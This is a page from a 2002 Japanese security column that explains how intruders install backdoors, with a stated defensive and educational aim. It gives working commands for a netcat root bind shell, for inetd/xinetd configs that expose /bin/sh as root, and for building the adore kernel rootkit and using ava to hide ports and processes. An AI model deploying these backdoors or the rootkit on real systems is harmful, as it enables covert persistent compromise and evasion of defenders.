連載
» 2002年12月25日 00時00分 UPDATE

不正侵入の手口と対策(4):攻撃者が侵入後に行うバックドアの設置例 (2/2)

[木村靖,三井物産セキュアディレクション株式会社]
前のページへ 1|2       

そのほかのバックドアの事例

 先に紹介したバックドアの手法は、あくまで一例にすぎない。攻撃者は、与えられた環境下の中で、さまざまな手法によりバックドアを仕掛けるだろう。ここでは、よく知られている手法を紹介する。

netcatを使う

 hobbit氏が作成したnetcatは、対象サーバとTCPまたはUDPでネットワーク接続して、データを読み書きするためのバックエンドツールだ。あるときはポートスキャンツール、またあるときはサービスデーモンとして特定ポートで待機(listen)させることが可能な、とても便利なネットワークツールの1つだ。ここではサービスデーモンとして待機させる方法でバックドアを仕掛ける。

 なお、netcatには、UNIX版のほかにWindows版が提供されており、Windows版でもUNIX版と同等のオプションを指定して実行することが可能となっている。

  • 例:netcatを使用して、7777/tcpにアクセスすると/bin/shが実行されるようなバックドアを作る

1.netcatを送り込む
まずnetcat 1.10(nc110.tgz)をダウンロードし対象サーバ上に送る必要がある。netcatはバイナリファイルで提供されているので、ftpなどを使って対象サーバにファイル転送すればよい。*3

*3
なお、ftpなどのファイル転送が行えない環境下では、バイナリファイルのサイズがそれほど大きくなければuuencode/uudecodeを用いた転送を行うという方法もある。

uuencode/uudecodeは、ASCII以外のデータ(バイナリファイル)を受渡しするための手段の1つとして、NetNews(インターネット上の電子掲示板)やMIMEを使用しないメール送受信でよく利用されている。

2.netcatのコンパイル (対象サーバの環境)
netcat 1.10をインストールする。デフォルトでは-eオプション(コマンド実行)が無効となっているので、コンパイル時にGAPING_SECURITY_HOLE変数をセットする必要がある。また、Red Hat Linux 7.3の場合、いくつかパッチを適用しないと、netcatは正常にコンパイルされない。そこで、Red Hatが提供するnetcatのRPM版からパッチファイルを抜き出したものを、GAPING_SECURITY_HOLE分と合わせてパッチ(nc110-linux.diff)として適用することにした。

/tmp以下に、nc110.tgzおよびnc110-linux.diffが存在することを前提として説明する。

# cd /tmp
# mkdir nc110
# tar zxvf nc110.tgz -C nc110

/tmp/ncにnetcatのソースコードが展開される。

# cd nc110
# patch < ../nc110-linux.diff
patching file Makefile
patching file netcat.c
# make linux

実行形式のバイナリファイルncが生成される。

3.netcat(nc)の実行 (対象サーバの環境)
netcatを7777/tcpで待機させる。また、7777/tcpのコネクション要求時に実行されるコマンドは/bin/shとする。

# ./nc -l -n 7777 -e /bin/sh

4.バックドアの確認 (攻撃者の環境)
確認もnetcatを使う。攻撃者の環境より以下を実行する。

% nc 192.168.0.10 7777
hostname
www.example.co.jp
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

コマンドプロンプトは返ってこないが、対象サーバ上のコマンドは実行できる状態になっている。上記はhostnameとidコマンドの実行した様子を示している。

inetd(xinetd)を使う

 inetdは、古くからUNIXで利用されているインターネットスーパーサーバと呼ばれるプログラムだ。その役割は、特定ポートに対するコネクション要求を一手に引き受け、そのポートに応じたサービスデーモンを起動することにある。

 しばしば、ftpやtelnetといった頻繁に使用されないデーモンプロセス*4の多くは、このinetd経由で起動される。またxinetdは、inetdの機能拡張版として、本稿の対象サーバであるRed Hat Linux 7.3では、inetdに代わり標準でインストールされている。

*4
逆に sendmail(SMTP)、BIND(DNS)、Apache(HTTP)といった、処理要求の多いサービスに関しては、inetd経由ではなく単独で動作させるのが一般的だ。

  • 例:inetd(xinetd)を使用して、8888/tcpにアクセスすると/bin/shが実行されるようなバックドアを作る

1.一時ファイル(/tmp/.inetd.conf)を作る
対象サーバにて、inetd(xinetd)の定義ファイルを作成する。

  • inetdの場合
# cat <<EOF > /tmp/.inetd.conf
> 8888 stream tcp nowait root /bin/sh -i
> EOF

  • xinetdの場合
# cat <<EOF > /tmp/.inetd.conf
> service unlisted
> {
> socket_type = stream
> protocol = tcp
> wait = no
> user = root
> server = /bin/sh
> server_args = -i
> port = 8888
> }
> EOF

なお、実行するシェルがbashの場合は、「/bin/sh --noediting -i」とした方がよいだろう。

2.inetd(xinetd)を起動
対象サーバにて、作成した設定ファイル(/tmp/.inetd.conf)を指定して、inetd(xinetd)のデーモンプロセスを起動する。

  • inetdの場合
# /usr/sbin/inetd /tmp/.inetd.conf

※Solarisの場合は、inetd -s /tmp/.inetd.confのように指定する
  • xinetdの場合
# /usr/sbin/xinetd -f /tmp/.inetd.conf

3.バックドアの確認 (攻撃者の環境)
攻撃者の環境よりnetcatを使用して接続し、対象サーバ上のコマンドを実行できるかどうかを確認する。以下では、バックドアで接続後、対象サーバ上でidコマンドを実行した様子を示している。

# nc 192.168.0.10 8888
stty: standard input: Invalid argument
[root@www /]# id
uid=0(root) gid=0(root)

rootkit (adore)

 adoreは、Stealth氏が作成したrootkitプログラムの一種で、Linux版とFreeBSD版が存在する。adoreの特徴としては、従来の特定ファイル(プログラム)を改ざんするタイプのものとは異なり、LKM(Loadable Kernel Module)を利用したバックドアプログラムであることが挙げられる。

従来型 rootkit ls、ps、netstatなどのファイル(コマンド)を直接改ざんし、特定ファイルやプロセスなどを隠ぺい。ほかにはlrkやt0rnがよく知られている。
LKM型 rootkit ls、ps、netstatなどのファイル(コマンド)を直接改ざんせずに、カーネルレベルで特定ファイルやプロセスなどを隠ぺい。ほかにはknarkなどがよく知られている。

 LKMは、最近の多くのUNIXで取り込まれており、必要に応じてさまざまな機能をモジュールとしてカーネルに取り込んだり(ロード)、取り外したり(アンロード)することのできる機能である。ここで紹介するRed Hat Linux 7.3 (kernel 2.4)でもLKMが採用されている。

1.adoreコンパイルの前に
adoreをコンパイルするには、カーネルのソースコード(kernel-source)が必要になる。/usr/src/linux(/usr/src/linux-2.4)が存在しない場合は、現行カーネルに該当するソースコードを事前に準備しておく。

2.adoreのコンパイル
adore 0.42を展開すると、以下のファイル/ディレクトリで構成されることが分かる。

# tar zxvf adore-0.42.tgz
# cd adore
# ls
CVS Makefile.gen adore.c cleaner.c libinvisible.c startadore
Changelog README adore.h configure libinvisible.h
LICENSE TODO ava.c dummy.c rename.c

続いて./configureを実行する。

# ./configure

Starting adore configuration ...

Checking 4 ELITE_UID ... found 30
Checking 4 ELITE_CMD ... using 62807
Checking 4 SMP ... NO
Checking 4 MODVERSIONS ... YES
Checking for kgcc ... found cc
Checking 4 insmod ... found /sbin/insmod -- OK


Loaded modules:
autofs 11940 0 (autoclean) (unused)
8139too 16768 1
mii 2280 0 [8139too]
ide-cd 29856 0 (autoclean)
cdrom 33184 0 (autoclean) [ide-cd]
usb-uhci 23492 0 (unused)
usbcore 71168 1 [usb-uhci]
ext3 64448 3
jbd 47608 3 [ext3]


Since version 0.33 Adore requires 'authentication' for
its services. You will be prompted for a password now and this
password will be compiled into 'adore' and 'ava' so no further actions
by you are required.
This procedure will save adore from scanners.
Try to choose a unique name that won't clash with normal calls to mkdir(2).
Password (echoed): ユニークなパスワードを入力


Creating Makefile ...

*** Edit adore.h for the hidden services and redirected file-access ***

ここで指定するパスワードは、adore本体と操作プログラムのava間の認証で用いられる。

Makefileが生成される。また、必要に応じてadore.hをエディタで編集する。ここでは6000/tcp(x11)の通信を隠すために、以下のとおりadore.hを修正した。

・ 変更前

char *HIDDEN_SERVICES[] =
{":hell", ":2222", NULL};

・変更後

char *HIDDEN_SERVICES[] =
{":x11", ":6000", NULL};

カンマ(,)で区切ることで複数のポートやサービス名を指定できるが、最後は必ずNULLで終了すること。

adore.hを修正したら、makeコマンドを実行してコンパイルする。

# make
rm -f adore.o
cc -c -I/usr/src/linux/include -O2 -Wall -DELITE_CMD=26021 -DELITE_UID=30 -DCURRENT_ADORE=42 -DADORE_KEY=\"crack\" -DMODVERSIONS adore.c -o adore.o
In file included from adore.c:36:
/usr/src/linux/include/linux/malloc.h:4:2: warning: #warning linux/malloc.h is deprecated, use linux/slab.h instead.
cc -O2 -Wall -DELITE_CMD=26021 -DELITE_UID=30 -DCURRENT_ADORE=42 -DADORE_KEY=\"crack\" -DMODVERSIONS ava.c libinvisible.c -o ava
cc -I/usr/src/linux/include -c -O2 -Wall -DELITE_CMD=26021 -DELITE_UID=30 -DCURRENT_ADORE=42 -DADORE_KEY=\"crack\" -DMODVERSIONS cleaner.c

3.adoreモジュールのロード
生成したadore(adore.o)モジュールをカーネルにロードするには、シェルスクリプトのstartadoreを実行する。なお、startadoreでは、以下の3つのコマンドが実行されているだけである。

insmod adore.o
insmod cleaner.o
rmmod cleaner

insmodでadore.oをロードした後に、insmod cleaner.oでロードしたadore.oを隠ぺいし、隠ぺいに用いたcleaner.oをrmmodでアンロードしている。

# ./startadore
Warning: loading adore.o will taint the kernel: no license
Warning: loading cleaner.o will taint the kernel: no license

4.確認
startadore実行後、lsmodでロードされているモジュールを確認しても、adore.oは表示されない。

# lsmod
Module Size Used by Tainted: P
autofs 11940 0 (autoclean) (unused)
8139too 16768 1
mii 2280 0 [8139too]
ide-cd 29856 0 (autoclean)
cdrom 33184 0 (autoclean) [ide-cd]
usb-uhci 23492 0 (unused)
usbcore 71168 1 [usb-uhci]
ext3 64448 3
jbd 47608 3 [ext3]

また、この時点でポート番号6000/tcp(x11)の通信が表示されなくなる。netstat --inet (or netstat -n --inet)で確認してみる。

・ 隠ぺい前

# netstat --inet
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 192.168.0.10:32785 172.16.10.10:x11 ESTABLISHED
tcp 0 0 192.168.0.10:ssh 192.168.0.142:65185 ESTABLISHED
tcp 0 256 192.168.0.10:ssh 192.168.0.142:65178 ESTABLISHED
tcp 0 0 192.168.0.10:ssh 192.168.0.142:65160 ESTABLISHED

・隠ぺい後

# netstat --inet
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 192.168.0.10:ssh 192.168.0.142:65185 ESTABLISHED
tcp 0 256 192.168.0.10:ssh 192.168.0.142:65178 ESTABLISHED
tcp 0 0 192.168.0.10:ssh 192.168.0.142:65160 ESTABLISHED

192.168.0.10 (32785/tcp)から172.16.10.10(6000/tcp)への通信が表示されなくなった。また、adore.oをロードした時点で、adoreをコンパイルしたファイルやディレクトリ(/tmp/adore以下)も隠ぺいされてしまう。

# ls -al /tmp
total 16
drwxrwxrwt 4 root root 4096 Dec 24 00:54 .
drwxr-xr-x 21 root root 4096 Dec 12 23:15 ..
drwxrwxrwx 2 bin bin 4096 Dec 8 01:20 .iroha_unix

lsコマンドで/tmp以下を一覧表示してもadoreディレクトリは見当たらないが、隠ぺいされているだけで、実際には存在している。

# ls -ld /tmp/adore
drwxr-xr-x 3 30 root 4096 Dec 24 01:02 /tmp/adore
# cd /tmp/adore
# ls
CVS README ava libinvisible.c
Changelog TODO ava.c libinvisible.h
LICENSE adore.c cleaner.c rename.c
Makefile adore.h cleaner.o startadore
Makefile.gen adore.h.orig configure
Makefile_Fri_Dec_13_00:42:42_JST_2002 adore.o dummy.c

5、adoreそのほか
adoreには、avaというadoreを操作するためのプログラムが用意されており、特定ファイルやプロセスの表示を隠ぺいすることができる。以下はそのavaの使用方法だ。

# ./ava
Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]
h

hide file
u unhide file
r execute as root
R remove PID forever
U uninstall adore
i make PID invisible
v make PID visible

オプション 用途
h 指定したファイルの隠ぺい
u 指定したファイルの隠ぺいを解除
r 指定したコマンドをroot権限で実行
R 指定したプロセスID(PID)を永久的に隠ぺい
U adoreのアンインストール
i 指定したPIDの隠ぺい
v 指定したPIDの隠ぺいを解除
表1 avaのオプション

例:PID 16863 (emacsのプロセスID)を隠ぺいする

1.実行前の確認

psコマンドで、PID 16863のemacsプロセスが表示されていることを確認。

$ ps -efww|grep emacs
root 16863 1 0 Dec12 ? 00:00:03 emacs -display 172.16.10.10:0.0

2.avaの実行

avaのiオプションでPID 16863のプロセスを隠す。

# ./ava i 16863
Checking for adore 0.12 or higher ...
Adore 0.42 installed. Good luck.
Made PID 16863 invisible.

3.実行後の確認

実行前と同様にpsコマンドで確認しても、PID 16863のプロセスは表示されなくなった(隠ぺいに成功)。

# ps -ef | grep emacs
#

4.元に戻す

# ./ava v 16863
Checking for adore 0.12 or higher ...
Adore 0.42 installed. Good luck.
Made PID 16863 visible.
# ps -ef | grep emacs
root 16863 1 0 Dec12 ? 00:00:03 emacs -display 172.16.10.10:0.0

avaのvオプションでプロセスID 16863の隠ぺいを解除すると、psコマンドでemacsプロセスが再び表示されるようになった。


 次回は、今回紹介したバックドアへの対処方法と、侵入されてしまった場合の事後調査の方法を説明する。

筆者紹介

三井物産株式会社GTIプロジェクトセンタ

主に、不正アクセス監視サービス、セキュリティ検査、セキュリティポリシー策定支援などのサービス提供している。また、セキュリティに関する教育サービスも実施中。

木村 靖(きむら やすし)

セキュリティコンサルタントとして、不正アクセス監視やセキュリティ検査 などに従事している。金融機関、官公庁、大手製造業などへのセキュリティシ ステムの導入、セキュリティ検査などの実績を持つ。



前のページへ 1|2       

Copyright© 2014 ITmedia, Inc. All Rights Reserved.

TechTargetジャパン

ホワイトペーパー(TechTargetジャパン)

注目のテーマ

Focus

- PR -

転職/派遣情報を探す

【転職サーチ】SIer/Web企業/新規事業 スマホ開発で、あなたのキャリアを生かす

「派遣・フリーで働くメリット」とは? 活躍する派遣エンジニアの本音

RSSについて

アイティメディアIDについて

メールマガジン登録

@ITのメールマガジンは、 もちろん、すべて無料です。ぜひメールマガジンをご購読ください。